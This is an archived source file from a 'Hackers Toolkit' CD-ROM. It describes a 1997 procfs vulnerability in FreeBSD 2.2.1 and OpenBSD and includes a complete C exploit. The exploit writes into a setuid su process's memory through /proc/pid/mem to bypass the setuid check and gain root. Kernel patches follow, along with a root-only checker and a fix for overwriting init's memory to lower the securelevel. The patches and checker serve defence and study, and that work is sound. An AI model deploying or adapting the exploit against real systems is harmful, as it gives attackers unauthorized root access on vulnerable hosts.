home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / bsd_procfs.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  10KB  |  296 lines

  1.  
  2. There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected,
  3. I have not tested 3.x but I believe it to be vulnerable as well) along
  4. with OpenBSD (not tested by me, but by someone else -- believe it was
  5. 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd
  6. does).
  7.  
  8. The problem is all proc/#/mem access is controlled by the permissions on
  9. the file. This means you can fork() open the childs mem device and then
  10. have the child execute a setuid executable. Once this is done, you can
  11. modify the setuid executables memory -- even segments that are supposed to
  12. be nonwritable can be modified. Enclosed is a simple exploit tested under
  13. FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory
  14. for a specific signature. Oh, you need to change your shell to a borneish
  15. shell too, since csh/tcsh will not work when euid != ruid (unless passed
  16. a -b script argument).
  17.  
  18. BSDI is also believed to be vulnerable. Unfortunately, not only is procfs
  19. not mounted, it is not even in the GENERIC kernel.
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <unistd.h>
  24. #include <fcntl.h>
  25. #include <string.h>
  26.  
  27. u_char search_code[13] = {
  28. 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
  29. 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */
  30.  
  31. /* just do a xor %eax, %eax and then a ret */
  32. u_char new_code[] = {
  33. 0x31, 0xc0, 0xc3};
  34.  
  35. main(int argc, char **argv)
  36. {
  37.         int pid;
  38.         int fd;
  39.         char buff[40];
  40.         char *user;
  41.  
  42.         /* might need to tweak these */
  43.         u_int offset=0x8003000;
  44.         u_int offset_end = 0x8099000;
  45.  
  46.         if(argc < 2)
  47.         {
  48.                 fprintf(stderr, "%s user\n", argv[0]);
  49.                 exit(1);
  50.         }
  51.         printf("Demonstration of 4.4BSD procfs hole\n");
  52.         printf("Brian Mitchell <brian@firehouse.net>\n\n");
  53.         printf("after you see \"setuid changed\", enter the pw for the user\n");
  54.         printf("\aBe warned, searching for the setuid() function takes a long time!\n");
  55.         user=argv[1];
  56.         pid = fork();
  57.         switch(pid)
  58.         {
  59.                 case -1:
  60.                         perror("fork");
  61.                         exit(1);
  62.                 case 0:
  63.                         /* give parent time to open /proc/pid/mem */
  64.                         sleep(3);
  65.                         execl("/usr/bin/su", "su", user, NULL);
  66.                         exit(0);
  67.                 default:
  68.                         sprintf(buff, "/proc/%d/mem", pid);
  69.                         fd = open(buff, O_RDWR);
  70.                         if(fd < 0)
  71.                         {
  72.                                 perror("open procmem");
  73.                                 wait(NULL);
  74.                                 exit(1);
  75.                         }
  76.                         /* wait for child to execute suid program */
  77.                         sleep(6);
  78.                         /* stop the child */
  79.                         kill(pid, 17);
  80.                         printf("searching - please be patient...\n");
  81.                         /* search for the setuid code */
  82.                         while(offset != offset_end)
  83.                         {
  84.                                 lseek(fd, offset, SEEK_SET);
  85.                                 read(fd, buff, 13);
  86.                                 if(!bcmp(buff, search_code, 13))
  87.                                 {
  88.                                         lseek(fd, offset, SEEK_SET);
  89.                                         write(fd, new_code, 3);
  90.                                         printf("setuid changed (0x%x)\n", offset);
  91.                                         /* sigcont child */
  92.                                         kill(pid, 19);
  93.                                         wait(NULL);
  94.                                         exit(0);
  95.                                 }
  96.                                 offset++;
  97.                         }
  98.                         printf("setuid not found!!\n");
  99.                         kill(pid, 9);
  100.                         wait(NULL);
  101.                         exit(1);
  102.         }
  103. }
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111. =================================================================================
  112.  
  113.  
  114.  
  115. The following patch should fix the problem with procfs.  These patches
  116. are to -current (well, a version I just checked out about an hour
  117. ago).  I have 2.2-GAMMA diffs as well.
  118.  
  119. Index: miscfs/procfs/procfs.h
  120. ===================================================================
  121. RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs.h,v
  122. retrieving revision 1.15
  123. diff -u -r1.15 procfs.h
  124. --- procfs.h    1997/02/22 09:40:26     1.15
  125. +++ procfs.h    1997/08/11 01:42:06
  126. @@ -85,6 +85,18 @@
  127.           (bcmp((s), (cnp)->cn_nameptr, (len)) == 0))
  128.  
  129.  #define KMEM_GROUP 2
  130. +
  131. +/*
  132. + * Check to see whether access to target process is allowed
  133. + * Evaluates to 1 if access is allowed.
  134. + */
  135. +#define CHECKIO(p1, p2) \
  136. +     ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
  137. +       ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
  138. +       ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
  139. +       ((p2)->p_flag & P_SUGID) == 0) || \
  140. +      (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
  141. +
  142.  /*
  143.   * Format of a directory entry in /proc, ...
  144.   * This must map onto struct dirent (see <dirent.h>)
  145. Index: miscfs/procfs/procfs_mem.c
  146. ===================================================================
  147. RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_mem.c,v
  148. retrieving revision 1.26
  149. diff -u -r1.26 procfs_mem.c
  150. --- procfs_mem.c        1997/08/02 14:32:14     1.26
  151. +++ procfs_mem.c        1997/08/11 01:44:26
  152. @@ -277,6 +277,23 @@
  153.         if (uio->uio_resid == 0)
  154.                 return (0);
  155.  
  156. +       /*
  157. +        * XXX
  158. +        * We need to check for KMEM_GROUP because ps is sgid kmem;
  159. +        * not allowing it here causes ps to not work properly.  Arguably,
  160. +        * this is a bug with what ps does.  We only need to do this
  161. +        * for Pmem nodes, and only if it's reading.  This is still not
  162. +        * good, as it may still be possible to grab illicit data if
  163. +        * a process somehow gets to be KMEM_GROUP.  Note that this also
  164. +        * means that KMEM_GROUP can't change without editing procfs.h!
  165. +        * All in all, quite yucky.
  166. +        */
  167. +
  168. +       if (!CHECKIO(curp, p) &&
  169. +           ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) &&
  170. +            (uio->uio_rw != UIO_READ))
  171. +               return EPERM;
  172. +
  173.         return (procfs_rwmem(p, uio));
  174.  }
  175.  
  176. Index: miscfs/procfs/procfs_regs.c
  177. ===================================================================
  178. RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_regs.c,v
  179. retrieving revision 1.7
  180. diff -u -r1.7 procfs_regs.c
  181. --- procfs_regs.c       1997/08/02 14:32:16     1.7
  182. +++ procfs_regs.c       1997/08/11 01:42:06
  183. @@ -60,6 +60,8 @@
  184.         char *kv;
  185.         int kl;
  186.  
  187. +       if (!CHECKIO(curp, p))
  188. +               return EPERM;
  189.         kl = sizeof(r);
  190.         kv = (char *) &r;
  191.  
  192. Index: miscfs/procfs/procfs_vnops.c
  193. ===================================================================
  194. RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_vnops.c,v
  195. retrieving revision 1.30
  196. diff -u -r1.30 procfs_vnops.c
  197. --- procfs_vnops.c      1997/08/02 14:32:20     1.30
  198. +++ procfs_vnops.c      1997/08/11 01:43:41
  199. @@ -127,16 +127,21 @@
  200.         } */ *ap;
  201.  {
  202.         struct pfsnode *pfs = VTOPFS(ap->a_vp);
  203. +       struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid);
  204. +
  205. +       if (p2 == NULL)
  206. +               return ENOENT;
  207.  
  208.         switch (pfs->pfs_type) {
  209.         case Pmem:
  210. -               if (PFIND(pfs->pfs_pid) == 0)
  211. -                       return (ENOENT);        /* was ESRCH, jsp */
  212. -
  213.                 if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) ||
  214.                     (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE))
  215.                         return (EBUSY);
  216.  
  217. +               if (!CHECKIO(p1, p2) &&
  218. +                   (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
  219. +                       return EPERM;
  220. +
  221.                 if (ap->a_mode & FWRITE)
  222.                         pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
  223.  
  224. @@ -194,7 +199,6 @@
  225.                 struct proc *a_p;
  226.         } */ *ap;
  227.  {
  228. -
  229.         return (ENOTTY);
  230.  }
  231.  
  232.  
  233.  
  234. -------------------------------------------------------------------------------------
  235.  
  236.  
  237.  
  238. There is a slight procfs hole that could allow a intruder to lower the
  239. securelevel. init's memory is not protected, so you can overwrite
  240. data/instructions in init and possibly lower the securelevel (although
  241. panicing the system is much more likely). Enclosed is a vulnerbility
  242. checker:
  243.  
  244. #include <stdio.h>
  245. #include <stdlib.h>
  246. #include <unistd.h>
  247. #include <sys/types.h>
  248. #include <fcntl.h>
  249.  
  250. main()
  251. {
  252.         int tqbf=31337;
  253.         int fd;
  254.         int g0nz0;
  255.  
  256.         if(getuid())
  257.         {
  258.                 fprintf(stderr, "this attack needs root\n");
  259.                 exit(1);
  260.         }
  261.         fd = open("/proc/1/mem", O_RDWR);
  262.         if(fd < 0)
  263.         {
  264.                 fprintf(stderr, "open of /proc/1/mem failed\n");
  265.                 exit(2);
  266.         }
  267.         lseek(fd, 0x1000, SEEK_SET);
  268.         g0nz0=write(fd, &tqbf, sizeof(int));
  269.         close(fd);
  270.         if(g0nz0 >= 0)
  271.                 fprintf(stderr, "procfs is vulnerable!\n");
  272.         else
  273.                 fprintf(stderr, "procfs is not vulnerable!\n");
  274.         printf("returned %d\n", g0nz0);
  275. }
  276.  
  277. Here is a simple patch, it disallows writes to pid 1's mem node if
  278. securelevel is > 0 (diff is based on 2.2.1 box with the securelevel fix
  279. applied):
  280.  
  281. *** procfs_mem.c        Sat Sep  6 02:36:39 1997
  282. --- procfs_mem.c.new    Sat Sep  6 02:38:25 1997
  283. ***************
  284. *** 316,321 ****
  285. --- 316,325 ----
  286.             !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP &&
  287.               uio->uio_rw == UIO_READ))
  288.                 return EPERM;
  289. +
  290. +       /* writing to init memory while securelevel > 0 is bad */
  291. +       if(uio->uio_rw == UIO_WRITE && p->p_pid == 1 && securelevel > 0)
  292. +               return EPERM;
  293.  
  294.         error = procfs_rwmem(p, uio);
  295.  
  296.